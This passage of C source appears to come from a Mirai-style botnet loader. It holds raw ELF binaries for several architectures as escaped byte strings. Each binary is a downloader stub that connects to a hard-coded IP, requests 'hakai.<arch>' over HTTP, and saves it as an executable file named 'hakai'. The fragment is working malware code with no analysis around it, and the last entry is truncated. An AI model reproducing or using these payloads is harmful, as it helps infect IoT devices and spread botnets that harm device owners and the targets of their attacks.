x00\x00\x00\x09\xf8\x20\x03\x03\x00\x04\x24\x10\x00\xbc\x8f\x21\x80\x00\x00\x34\x80\x99\x8f\x21\x20\x20\x02\x18\x00\xa5\x27\x09\xf8\x20\x03\x01\x00\x06\x24\x10\x00\xbc\x8f\x01\x00\x03\x24\x48\x80\x99\x8f\x04\x00\x43\x10\x04\x00\x04\x24\x09\xf8\x20\x03\x00\x00\x00\x00\x10\x00\xbc\x8f\x18\x00\xa3\x83\x00\x12\x10\x00\x25\x80\x43\x00\x0a\x0d\x02\x3c\x0a\x0d\x42\x34\xed\xff\x02\x16\x00\x00\x00\x00\x34\x80\x99\x8f\x2c\x00\xb0\x27\x21\x20\x20\x02\x21\x28\x00\x02\x09\xf8\x20\x03\x80\x00\x06\x24\x10\x00\xbc\x8f\x21\x28\x00\x02\x40\x80\x99\x8f\x21\x30\x40\x00\x06\x00\x40\x18\x21\x20\x40\x02\x09\xf8\x20\x03\x00\x00\x00\x00\x10\x00\xbc\x8f\xf0\xff\x00\x10\x00\x00\x00\x00\x4c\x80\x99\x8f\x00\x00\x00\x00\x09\xf8\x20\x03\x21\x20\x20\x02\x10\x00\xbc\x8f\x00\x00\x00\x00\x4c\x80\x99\x8f\x00\x00\x00\x00\x09\xf8\x20\x03\x21\x20\x40\x02\x10\x00\xbc\x8f\x00\x00\x00\x00\x48\x80\x99\x8f\x00\x00\x00\x00\x09\xf8\x20\x03\x03\x00\x04\x24\x10\x00\xbc\x8f\xbc\x00\xbf\x8f\xb8\x00\xb2\x8f\xb4\x00\xb1\x8f\xb0\x00\xb0\x8f\x08\x00\xe0\x03\xc0\x00\xbd\x27\x00\x00\x00\x00\x05\x00\x1c\x3c\x00\x81\x9c\x27\x21\xe0\x99\x03\x21\x10\x80\x00\x21\x20\xa0\x00\x21\x28\xc0\x00\x21\x30\xe0\x00\x10\x00\xa7\x8f\x14\x00\xa8\x8f\x18\x00\xa9\x8f\x1c\x00\xaa\x8f\xe0\xff\xbd\x27\x10\x00\xa8\xaf\x14\x00\xa9\xaf\x18\x00\xaa\xaf\x1c\x00\xa2\xaf\x1c\x00\xa2\x8f\x0c\x00\x00\x00\x03\x00\xe0\x14\x20\x00\xbd\x27\x08\x00\xe0\x03\x00\x00\x00\x00\x21\x20\x40\x00\x38\x80\x99\x8f\x00\x00\x00\x00\x08\x00\x20\x03\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x1c\x3c\x90\x80\x9c\x27\x21\xe0\x99\x03\xe0\xff\xbd\x27\x1c\x00\xbf\xaf\x18\x00\xb0\xaf\x10\x00\xbc\xaf\x30\x80\x99\x8f\x00\x00\x00\x00\x09\xf8\x20\x03\x21\x80\x80\x00\x10\x00\xbc\x8f\x00\x00\x50\xac\x1c\x00\xbf\x8f\x18\x00\xb0\x8f\xff\xff\x02\x24\x08\x00\xe0\x03\x20\x00\xbd\x27\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x1c\x3c\x40\x80\x9c\x27\x21\xe0\x99\x03\x2c\x80\x82\x8f\x08\x00\xe0\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x61\x6b\x61\x69\x00\x00\x00\x47\x45\x54\x20\x2f\x68\x61\x6b\x61\x69\x2e\x6d\x70\x73\x6c\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x05\x44\x00\x70\x04\x40\x00\x74\x01\x40\x00\x20\x04\x40\x00\x00\x01\x40\x00\x4c\x01\x40\x00\x9c\x01\x40\x00\xa0\x00\x40\x00\xbc\x00\x40\x00\xb0\x03\x40\x00\xd8\x00\x40\x00\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00\x2e\x67\x6f\x74\x00\x2e\x62\x73\x73\x00\x2e\x6d\x64\x65\x62\x75\x67\x2e\x61\x62\x69\x33\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\xa0\x00\x40\x00\xa0\x00\x00\x00\xf0\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x32\x00\x00\x00\x90\x04\x40\x00\x90\x04\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x10\xc0\x04\x44\x00\xc0\x04\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00\x1e\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00\x10\x05\x44\x00\x08\x05\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x23\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x48\x00\x00\x00\x08\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x05\x00\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00", 1620,
  879. // x86_64
  880. BIT_64, ENDIAN_LITTLE, EM_X86_64, "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x3a\x01\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x88\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x03\x00\x40\x00\x05\x00\x04\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x63\x02\x00\x00\x00\x00\x00\x00\x63\x02\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x64\x02\x00\x00\x00\x00\x00\x00\x64\x02\x50\x00\x00\x00\x00\x00\x64\x02\x50\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x51\xe5\x74\x64\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x89\xfe\x31\xc0\xbf\x3c\x00\x00\x00\xe9\x02\x01\x00\x00\x89\xfe\x31\xc0\xbf\x03\x00\x00\x00\xe9\xf4\x00\x00\x00\x89\xd1\x31\xc0\x89\xf2\x48\x89\xfe\xbf\x02\x00\x00\x00\xe9\xe1\x00\x00\x00\x89\xd1\x31\xc0\x48\x89\xf2\x89\xfe\xbf\x01\x00\x00\x00\xe9\xce\x00\x00\x00\x89\xd1\x31\xc0\x48\x89\xf2\x89\xfe\x31\xff\xe9\xbe\x00\x00\x00\x55\xba\xff\x01\x00\x00\xbe\x41\x02\x00\x00\xbf\x3e\x02\x40\x00\x53\x48\x81\xec\x98\x00\x00\x00\xe8\xad\xff\xff\xff\xba\x1e\x00\x00\x00\xbe\x44\x02\x40\x00\x89\xdf\x89\xc5\xe8\xad\xff\xff\xff\x83\xf8\x1e\x74\x0a\xbf\x03\x00\x00\x00\xe8\x6f\xff\xff\xff\x31\xdb\x48\x8d\xb4\x24\x8f\x00\x00\x00\xba\x01\x00\x00\x00\x89\xdf\xe8\x9b\xff\xff\xff\xff\xc8\x74\x0a\xbf\x04\x00\x00\x00\xe8\x4b\xff\xff\xff\x0f\xbe\x84\x24\x8f\x00\x00\x00\xc1\xe3\x08\x09\xc3\x81\xfb\x0a\x0d\x0a\x0d\x75\xc9\xba\x80\x00\x00\x00\x48\x89\xe6\x89\xe7\xe8\x69\xff\xff\xff\x85\xc0\x7e\x0e\x89\xc2\x48\x89\xe6\x89\xef\xe8\x46\xff\xff\xff\xeb\xdf\x89\xe7\xe8\x1c\xff\xff\xff\x89\xef\xe8\x15\xff\xff\xff\xbf\x03\x00\x00\x00\xe8\xfd\xfe\xff\xff\x48\x81\xc4\x98\x00\x00\x00\x5b\x5d\xc3\x90\x90\x90\x48\x89\xf8\x48\x89\xf7\x48\x89\xd6\x48\x89\xca\x4d\x89\xc2\x4d\x89\xc8\x4c\x8b\x4c\x24\x08\x0f\x05\x48\x3d\x01\xf0\xff\xff\x0f\x83\x03\x00\x00\x00\xc3\x90\x90\x48\x83\xec\x08\x48\x89\xc1\x48\xf7\xd9\xe8\x09\x00\x00\x00\x89\x08\x83\xc8\xff\x5a\xc3\x90\x90\xb8\x64\x02\x50\x00\xc3\x68\x61\x6b\x61\x69\x00\x47\x45\x54\x20\x2f\x68\x61\x6b\x61\x69\x2e\x78\x38\x36\x5f\x36\x34\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x0d\x0a\x00\x00\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00\x2e\x62\x73\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\xe8\x00\x40\x00\x00\x00\x00\x00\xe8\x00\x00\x00\x00\x00\x00\x00\x56\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x32\x00\x00\x00\x00\x00\x00\x00\x3e\x02\x40\x00\x00\x00\x00\x00\x3e\x02\x00\x00\x00\x00\x00\x00\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x08\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x64\x02\x50\x00\x00\x00\x00\x00\x64\x02\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x02\x00\x00\x00\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 968,
  881. // powerpc
  882. BIT_32, ENDIAN_BIG, EM_PPC, "\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x14\x00\x00\x00\x01\x10\x00\x02\x0c\x00\x00\x00\x34\x00\x00\x03\xd4\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x05\x00\x04\x00\x00\x00\x01\x00\x00\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x03\xb4\x00\x00\x03\xb4\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\x03\xb4\x10\x01\x03\xb4\x10\x01\x03\xb4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x06\x00\x01\x00\x00\x64\x74\xe5\x51\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x04\x7c\x08\x02\xa6\x94\x21\xff\xf0\x7c\x64\x1b\x78\x38\x60\x00\x01\x90\x01\x00\x14\x4c\xc6\x31\x82\x48\x00\x02\x81\x80\x01\x00\x14\x38\x21\x00\x10\x7c\x08\x03\xa6\x4e\x80\x00\x20\x7c\x08\x02\xa6\x94\x21\xff\xf0\x7c\x64\x1b\x78\x38\x60\x00\x06\x90\x01\x00\x14\x4c\xc6\x31\x82\x48\x00\x02\x55\x80\x01\x00\x14\x38\x21\x00\x10\x7c\x08\x03\xa6\x4e\x80\x00\x20\x7c\x08\x02\xa6\x94\x21\xff\xf0\x7c\xa6\x2b\x78\x90\x01\x00\x14\x7c\x80\x23\x78\x7c\x05\x03\x78\x7c\x64\x1b\x78\x38\x60\x00\x05\x4c\xc6\x31\x82\x48\x00\x02\x1d\x80\x01\x00\x14\x38\x21\x00\x10\x7c\x08\x03\xa6\x4e\x80\x00\x20\x94\x21\xff\xe0\x7c\x08\x02\xa6\x90\x61\x00\x08\x38\x60\x00\x66\x90\x81\x00\x0c\x38\x80\x00\x03\x90\xa1\x00\x10\x38\xa1\x00\x08\x90\x01\x00\x24\x4c\xc6\x31\x82\x48\x00\x01\xe1\x80\x01\x00\x24\x38\x21\x00\x20\x7c\x08\x03\xa6\x4e\x80\x00\x20\x7c\x08\x02\xa6\x94\x21\xff\xf0\x7c\xa6\x2b\x78\x90\x01\x00\x14\x7c\x80\x23\x78\x7c\x05\x03\x78\x7c\x64\x1b\x78\x38\x60\x00\x04\x4c\xc6\x31\x82\x48\x00\x01\xa9\x80\x01\x00\x14\x38\x21\x00\x10\x7c\x08\x03\xa6\x4e\x80\x00\x20\x7c\x08\x02\xa6\x94\x21\xff\xf0\x7c\xa6\x2b\x78\x90\x01\x00\x14\x7c\x80\x23\x78\x7c\x05\x03\x78\x7c\x64\x1b\x78\x38\x60\x00\x03\x4c\xc6\x31\x82\x48\x00\x01\x71\x80\x01\x00\x14\x38\x21\x00\x10\x7c\x08\x03\xa6\x4e\x80\x00\x20\x94\x21\xff\xe0\x7c\x08\x02\xa6\x90\x61\x00\x08\x38\x60\x00\x66\x90\x81\x00\x0c\x38\x80\x00\x01\x90\xa1\x00\x10\x38\xa1\x00\x08\x90\x01\x00\x24\x4c\xc6\x31\x82\x48\x00\x01\x35\x80\x01\x00\x24\x38\x21\x00\x20\x7c\x08\x03\xa6\x4e\x80\x00\x20\x7c\x08\x02\xa6\x94\x21\xff\x40\x3d\x20\xb2\x80\x3c\x60\x10\x00\x61\x29\xb9\xfa\x38\x80\x02\x41\x90\x01\x00\xc4\x38\x00\x00\x02\x38\xa0\x01\xff\xb0\x01\x00\x0c\x38\x63\x03\x90\x38\x00\x00\x50\xb0\x01\x00\x0e\x91\x21\x00\x10\xbf\xa1\x00\xb4\x4b\xff\xfe\xa5\x7c\x7e\x1b\x78\x38\x80\x00\x01\x38\xa0\x00\x00\x38\x60\x00\x02\x4b\xff\xff\x75\x38\x81\x00\x0c\x38\xa0\x00\x10\x7c\x7f\x1b\x78\x4b\xff\xfe\xb9\x3c\x80\x10\x00\x38\x84\x03\x98\x7f\xe3\xfb\x78\x38\xa0\x00\x1b\x4b\xff\xfe\xe1\x2f\x83\x00\x1b\x41\x9e\x00\x0c\x38\x60\x00\x03\x4b\xff\xfe\x05\x3b\xa0\x00\x00\x38\x81\x00\x08\x38\xa0\x00\x01\x7f\xe3\xfb\x78\x4b\xff\xfe\xf5\x2f\x83\x00\x01\x38\x60\x00\x04\x41\x9e\x00\x08\x4b\xff\xfd\xe1\x89\x61\x00\x08\x57\xa9\x40\x2e\x3c\x00\x0d\x0a\x7d\x3d\x5b\x78\x60\x00\x0d\x0a\x7f\x9d\x00\x00\x40\x9e\xff\xc8\x3b\xa1\x00\x1c\x38\xa0\x00\x80\x7f\xa4\xeb\x78\x7f\xe3\xfb\x78\x4b\xff\xfe\xb5\x7f\xa4\xeb\x78\x7c\x65\x1b\x79\x7f\xc3\xf3\x78\x40\x81\x00\x0c\x4b\xff\xfe\x69\x4b\xff\xff\xd8\x7f\xe3\xfb\x78\x4b\xff\xfd\xbd\x7f\xc3\xf3\x78\x4b\xff\xfd\xb5\x38\x60\x00\x03\x4b\xff\xfd\x81\x80\x01\x00\xc4\xbb\xa1\x00\xb4\x38\x21\x00\xc0\x7c\x08\x03\xa6\x4e\x80\x00\x20\x7c\x60\x1b\x78\x7c\x83\x23\x78\x7c\xa4\x2b\x78\x7c\xc5\x33\x78\x7c\xe6\x3b\x78\x7d\x07\x43\x78\x44\x00\x00\x02\x4c\x83\x00\x20\x48\x00\x00\x04\x7c\x08\x02\xa6\x94\x21\xff\xe0\xbf\xa1\x00\x14\x7c\x7d\x1b\x78\x90\x01\x00\x24\x48\x00\x00\x21\x93\xa3\x00\x00\x38\x60\xff\xff\x80\x01\x00\x24\xbb\xa1\x00\x14\x38\x21\x00\x20\x7c\x08\x03\xa6\x4e\x80\x00\x20\x3c\x60\x10\x01\x38\x63\x03\xb4\x4e\x80\x00\x20\x68\x61\x6b\x61\x69\x00\x00\x00\x47\x45\x54\x20\x2f\x68\x61\x6b\x61\x69\x2e\x70\x70\x63\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x0d\x0a\x00\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00\x2e\x73\x62\x73\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x10\x00\x00\x94\x00\x00\x00\x94\x00\x00\x02\xfc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x32\x10\x00\x03\x90\x00\x00\x03\x90\x00\x00\x00\x24\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x08\x00\x00\x00\x03\x10\x01\x03\xb4\x00\x00\x03\xb4\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\xb4\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00", 1180,
  883. // m68k
  884. BIT_32, ENDIAN_BIG, EM_68K, "\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x04\x00\x00\x00\x01\x80\x00\x01\x74\x00\x00\x00\x34\x00\x00\x03\x38\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x05\x00\x04\x00\x00\x00\x01\x00\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x00\x00\x00\x03\x17\x00\x00\x03\x17\x00\x00\x00\x05\x00\x00\x20\x00\x00\x00\x00\x01\x00\x00\x03\x18\x80\x00\x23\x18\x80\x00\x23\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x06\x00\x00\x20\x00\x64\x74\xe5\x51\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x04\x4e\x56\x00\x00\x2f\x2e\x00\x08\x48\x78\x00\x01\x61\xff\x00\x00\x01\xe6\x50\x8f\x4e\x5e\x4e\x75\x4e\x56\x00\x00\x2f\x2e\x00\x08\x48\x78\x00\x06\x61\xff\x00\x00\x01\xce\x4e\x5e\x4e\x75\x4e\x56\x00\x00\x2f\x2e\x00\x10\x2f\x2e\x00\x0c\x2f\x2e\x00\x08\x48\x78\x00\x05\x61\xff\x00\x00\x01\xb0\x4e\x5e\x4e\x75\x4e\x56\xff\xf4\x2d\x6e\x00\x08\xff\xf4\x2d\x6e\x00\x0c\xff\xf8\x2d\x6e\x00\x10\xff\xfc\x48\x6e\xff\xf4\x48\x78\x00\x03\x48\x78\x00\x66\x61\xff\x00\x00\x01\x84\x4e\x5e\x4e\x75\x4e\x56\x00\x00\x2f\x2e\x00\x10\x2f\x2e\x00\x0c\x2f\x2e\x00\x08\x48\x78\x00\x04\x61\xff\x00\x00\x01\x66\x4e\x5e\x4e\x75\x4e\x56\x00\x00\x2f\x2e\x00\x10\x2f\x2e\x00\x0c\x2f\x2e\x00\x08\x48\x78\x00\x03\x61\xff\x00\x00\x01\x48\x4e\x5e\x4e\x75\x4e\x56\xff\xf4\x2d\x6e\x00\x08\xff\xf4\x2d\x6e\x00\x0c\xff\xf8\x2d\x6e\x00\x10\xff\xfc\x48\x6e\xff\xf4\x48\x78\x00\x01\x48\x78\x00\x66\x61\xff\x00\x00\x01\x1c\x4e\x5e\x4e\x75\x4e\x56\xff\x6c\x48\xe7\x30\x20\x3d\x7c\x00\x02\xff\xee\x3d\x7c\x00\x50\xff\xf0\x2d\x7c\xb2\x80\xb9\xfa\xff\xf2\x48\x78\x01\xff\x48\x78\x02\x41\x48\x79\x80\x00\x02\xf4\x61\xff\xff\xff\xff\x22\x26\x00\x42\xa7\x48\x78\x00\x01\x48\x78\x00\x02\x61\xff\xff\xff\xff\x96\x24\x40\x48\x78\x00\x10\x48\x6e\xff\xee\x2f\x00\x61\xff\xff\xff\xff\x1c\x4f\xef\x00\x20\x2e\xbc\x00\x00\x00\x1c\x48\x79\x80\x00\x02\xfa\x2f\x0a\x61\xff\xff\xff\xff\x30\x4f\xef\x00\x0c\x72\x1c\xb2\x80\x67\x0c\x48\x78\x00\x03\x61\xff\xff\xff\xfe\xa4\x58\x8f\x42\x82\x48\x78\x00\x01\x48\x6e\xff\xff\x2f\x0a\x61\xff\xff\xff\xff\x26\x4f\xef\x00\x0c\x72\x01\xb2\x80\x67\x0c\x48\x78\x00\x04\x61\xff\xff\xff\xfe\x7c\x58\x8f\xe1\x8a\x10\x2e\xff\xff\x49\xc0\x84\x80\x0c\x82\x0d\x0a\x0d\x0a\x66\xc8\x48\x78\x00\x80\x24\x0e\x06\x82\xff\xff\xff\x6e\x2f\x02\x2f\x0a\x61\xff\xff\xff\xfe\xe8\x4f\xef\x00\x0c\x4a\x80\x6f\x12\x2f\x00\x2f\x02\x2f\x03\x61\xff\xff\xff\xfe\xb6\x4f\xef\x00\x0c\x60\xd0\x2f\x0a\x45\xf9\x80\x00\x00\xac\x4e\x92\x2f\x03\x4e\x92\x48\x78\x00\x03\x61\xff\xff\xff\xfe\x20\x4f\xef\x00\x0c\x4c\xee\x04\x0c\xff\x60\x4e\x5e\x4e\x75\x4e\x75\x4e\x56\xff\xf8\x48\xe7\x3c\x00\x20\x6e\x00\x20\x2a\x2e\x00\x1c\x28\x2e\x00\x18\x26\x2e\x00\x14\x24\x2e\x00\x10\x22\x2e\x00\x0c\x20\x2e\x00\x08\x4e\x40\x2d\x40\xff\xf8\x20\x2e\xff\xf8\x72\x82\xb2\x80\x64\x1a\x20\x2e\xff\xf8\x44\x80\x2d\x40\xff\xfc\x61\xff\x00\x00\x00\x1c\x20\xae\xff\xfc\x72\xff\x2d\x41\xff\xf8\x20\x2e\xff\xf8\x4c\xee\x00\x3c\xff\xe8\x4e\x5e\x4e\x75\x4e\x56\x00\x00\x20\x3c\x80\x00\x23\x18\x20\x40\x4e\x5e\x4e\x75\x68\x61\x6b\x61\x69\x00\x47\x45\x54\x20\x2f\x68\x61\x6b\x61\x69\x2e\x6d\x36\x38\x6b\x20\x48\x54\x54\x50\x2f\x31\x2e\x30\x0d\x0a\x0d\x0a\x00\x00\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x74\x65\x78\x74\x00\x2e\x72\x6f\x64\x61\x74\x61\x00\x2e\x62\x73\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0b\x00\x00\x00\x01\x00\x00\x00\x06\x80\x00\x00\x94\x00\x00\x00\x94\x00\x00\x02\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x32\x80\x00\x02\xf4\x00\x00\x02\xf4\x00\x00\x00\x23\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x08\x00\x00\x00\x03\x80\x00\x23\x18\x00\x00\x03\x18\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x18\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00", 1024,
  885. // sparc
  886. BIT_32, ENDIAN_BIG, EM_SPARC, "\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x02\x00\x00\x00\x01\x00\x01\x01\x80\x00\x00\x00\x34\x00\x00\x03\x38\x00\x00\x00\x00\x00\x34\x00\x20\x00\x03\x00\x28\x00\x05\x00\x04\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x03\x18\x00\x00\x03\x18\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\x03\x18\x00\x02\x03\x18\x00\x02\x03\x18\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x06\x00\x01\x00\x00\x64\x74\xe5\x51\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x04\x92\x10\x00\x08\x90\x10\x20\x01\x82\x13\xc0\x00\x10\x80\x00\x7f\x01\x00\x00\x00\x01\x00\x00\x00\x92\x10\x00\x08\x90\x10\x20\x06\x82\x13\xc0\x00\x10\x80\x00\x79\x01\x00\x00\x00\x01\x00\x00\x00\x82\x10\x00\x09\x96\x10\x00\x0a\x92\x10\x00\x08\x94\x10\x00\x01\x90\x10\x20\x05\x82\x13\xc0\x00\x10\x80\x00\x70\x01\x00\x00\x00\x01\x00\x00\x00\x9d\xe3\xbf\x88\x92\x10\x20\x03\xf0\x27\xbf\xec\xf2\x27\xbf\xf0\xf4\x27\xbf\xf4\x94\x07\xbf\xec\x40\x00\x00\x67\x90\x10\x20\xce\x81\xc7\xe0\x08\x91\xe8\x00\x08\x82\x10\x00\x09\x96\x10\x00\x0a\x92\x10\x00\x08\x94\x10\x00\x01\x90\x10\x20\x04\x82\x13\xc0\x00\x10\x80\x00\x5d\x01\x00\x00\x00\x01\x00\x00\x00\x82\x10\x00\x09\x96\x10\x00\x0a\x92\x10\x00\x08\x94\x10\x00\x01\x90\x10\x20\x03\x82\x13\xc0\x00\x10\x80\x00\x54\x01\x00\x00\x00\x01\x00\x00\x00\x9d\xe3\xbf\x88\x92\x10\x20\x01\xf0\x27\xbf\xec\xf2\x27\xbf\xf0\xf4\x27\xbf\xf4\x94\x07\xbf\xec\x40\x00\x00\x4b\x90\x10\x20\xce\x81\xc7\xe0\x08\x91\xe8\x00\x08\x9d\xe3\xbf\x00\x82\x10\x20\x02\xc2\x37\xbf\xe4\x82\x10\x20\x50\x92\x10\x26\x01\x94\x10\x21\xff\xc2\x37\xbf\xe6\x03\x2c\xa0\x2e\x82\x10\x61\xfa\x11\x00\x00\x40\xc2\x27\xbf\xe8\x7f\xff\xff\xc6\x90\x12\x22\xf0\x92\x10\x20\x01\x94\x10\x20\x00\xa4\x10\x00\x08\x7f\xff\xff\xe6\x90\x10\x20\x02\x92\x07\xbf\xe4\xa2\x10\x00\x08\x7f\xff\xff\xc6\x94\x10\x20\x10\x90\x10\x00\x11\x13\x00\x00\x40\x94\x10\x20\x1b\x7f\xff\xff\xcb\x92\x12\x62\xf8\x80\xa2\x20\x1b\x02\x80\x00\x05\xa0\x10\x20\x00\x7f\xff\xff\xa7\x90\x10\x20\x03\xa0\x10\x20\x00\x92\x07\xbf\xf7\x94\x10\x20\x01\x7f\xff\xff\xca\x90\x10\x00\x11\x